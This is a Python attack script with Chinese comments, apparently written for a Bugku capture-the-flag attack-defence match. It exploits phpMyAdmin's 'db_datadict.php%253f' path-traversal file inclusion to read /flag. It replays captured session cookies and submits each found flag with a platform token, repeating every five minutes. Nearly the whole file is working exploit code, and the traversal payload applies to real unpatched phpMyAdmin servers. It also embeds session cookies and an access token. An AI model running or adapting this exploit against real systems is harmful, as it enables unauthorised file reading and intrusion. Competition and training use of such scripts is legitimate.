1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
import requests
import re
import time # 添加这行导入
from datetime import datetime
# 目标配置 ======================================
TARGET_URL = "http://192-168-1-63.pvp6235.bugku.cn/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../../flag"
SUBMIT_URL = "https://ctf.bugku.com/pvp/submit.html"
TOKEN = "5c36b27bb325ea000cf52a3fcd60b4a7"
# ==============================================
# 精确流量复制(来自您的抓包)
HEADERS = {
'Host': '192-168-1-63.pvp6235.bugku.cn',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Cookie': 'phpMyAdmin=k370v0siolmju7v8uq5p9a13ti3sqj6g; pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%22ysgto0Obh3GEG69wQNe37A%3D%3D%22%2C%22mac%22%3A%22a17bc7caf04bafade0936ef340691ade7038a9cf%22%2C%22payload%22%3A%22AKNcEnMMDSaKxqsgQR5nUA%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%222HA4rPPmNh%5C%2FiIdNp7XYb6Q%3D%3D%22%2C%22mac%22%3A%220d997e973605ec56d97d21ee56a24869aac7546e%22%2C%22payload%22%3A%22crgUOlmMdyKrmrYaTgOrbZAzGZkGidztL7epskA%5C%2Fs%5C%2Fw%3D%22%7D',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
def extract_flag(text):
"""精确flag提取(包含异常处理)"""
try:
# 优先匹配标准flag格式
flag_match = re.search(r'flag\{[a-zA-Z0-9_\-]+\}', text)
if flag_match:
return flag_match.group()
# 匹配可能出现的裸flag(无花括号)
naked_flag = re.search(r'(?<!flag)[a-fA-F0-9]{32}(?!})', text)
if naked_flag:
return f"flag{{{naked_flag.group()}}}"
except Exception:
pass
return None
def attack_target():
"""执行精准攻击"""
print(f"[{datetime.now().strftime('%H:%M:%S')}] 启动攻击...")
try:
resp = requests.get(
TARGET_URL,
headers=HEADERS,
timeout=10,
verify=False,
allow_redirects=False # 禁止自动跳转
)
if resp.status_code == 200:
print("[+] 攻击成功,响应长度:", len(resp.text))
flag = extract_flag(resp.text)
if flag:
print(f"[+] 提取到Flag: {flag}")
# 提交flag
submit_resp = requests.get(
f"{SUBMIT_URL}?token={TOKEN}&flag={flag}",
timeout=5
)
print(f"[+] 提交结果: {submit_resp.status_code}")
print(submit_resp.text[:100]) # 打印部分响应
else:
print("[-] 响应中未识别到Flag格式")
print("响应样本:", resp.text[:200]) # 打印前200字符
else:
print(f"[!] 攻击失败,HTTP状态码: {resp.status_code}")
except Exception as e:
print(f"[!] 发生错误: {type(e).__name__}")
if __name__ == "__main__":
print("""\
=====================================
PHPMyAdmin精准攻击工具
特征:
1. 完全模拟原始流量包
2. 保留所有原始Header和Cookie
3. 智能Flag提取系统
=====================================""")
while True:
attack_target()
wait_time = 300
print(f"\n等待{wait_time}秒后重试... (Ctrl+C终止)")
try:
time.sleep(wait_time)
except KeyboardInterrupt:
print("\n[!] 用户终止攻击")
break
|